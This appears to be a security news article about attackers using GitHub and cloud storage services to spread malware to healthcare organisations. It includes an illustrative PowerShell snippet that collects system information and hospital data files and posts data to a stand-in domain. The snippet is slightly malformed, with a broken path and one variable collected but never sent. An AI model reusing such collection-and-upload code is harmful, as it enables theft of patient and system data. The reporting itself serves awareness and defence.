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The medical sector has increasingly become susceptible to advanced cyber threats in 2025, as malicious actors intentionally aim at medical facilities’ expanding cloud frameworks and digital procedures.

As per recent research, threat actors have modified their strategies to utilize trusted cloud services as main channels for malware propagation, presenting unprecedented hurdles for healthcare security teams.

This tactical shift exploits the industry’s swift digital evolution and rising dependence on cloud-based solutions for patient care and administrative tasks.

Unexpectedly, GitHub has emerged as the leading platform for malware dissemination aimed at healthcare entities, with 13% of organizations in the sector encountering malware downloads from the site monthly.

This marks a notable transformation in attack strategies, as threat actors take advantage of GitHub’s broad trust among developers and IT experts.

The platform’s open framework and legitimate business applications provide perfect cover for harmful code, enabling hackers to evade standard security measures.

Netskope researchers uncovered a troubling trend where attackers deliberately create GitHub repositories that resemble authentic healthcare-related development projects or tools.

“We have noted advanced threat actors establishing repositories using healthcare-specific jargon and branding that closely imitate genuine medical software projects,” remarked Dr. Elena Kaprov, lead security researcher at Netskope Threat Labs.

“These repositories contain malicious code that, once downloaded, facilitates persistence through scheduled tasks and registry alterations.”

Following GitHub in prevalence, attackers are also utilizing Microsoft OneDrive, Amazon S3, and Google Drive as channels for malware distribution.

These services benefit from inherent confidence within organizational settings, as they are considered standard business tools that seldom trigger security warnings when files are retrieved from them.

The attackers’ approach illustrates a profound understanding of healthcare processes and security vulnerabilities.

The ramifications of these assaults have been significant, with breaches of data policies becoming increasingly frequent.

An astonishing 81% of all data policy breaches within healthcare organizations involve regulated patient information, raising serious compliance and privacy issues under regulations like HIPAA.

Analysis of the GitHub Infection Chain

The infection chain commences when healthcare IT personnel or developers look for specific healthcare-oriented code repositories.

Attackers enhance their malicious repositories with healthcare-related keywords to show up in these searches. Once a target finds the repository, they typically clone it using standard Git commands:

        git clone https://github.com/healthcare-tools/patient-data-analyzer.git
    

Upon executing the downloaded code, the malware conducts an initial system scan using PowerShell commands that appear harmless but actually establish command and control:

        $sysInfo = Get-WmiObject -Class Win32_OperatingSystem
$healthcareData = Get-ChildItem -Path "C:Hospital" -Recurse -Include *.dat
Invoke-WebRequest -Uri "https://legitimate-looking-domain.com/api" -Method POST -Body $sysInfo
    

This advanced approach allows attackers to circumvent security defenses while accessing essential healthcare infrastructure.

Organizations can safeguard themselves by enforcing stringent code review policies and employing remote browser isolation technology when accessing even trustworthy repositories.

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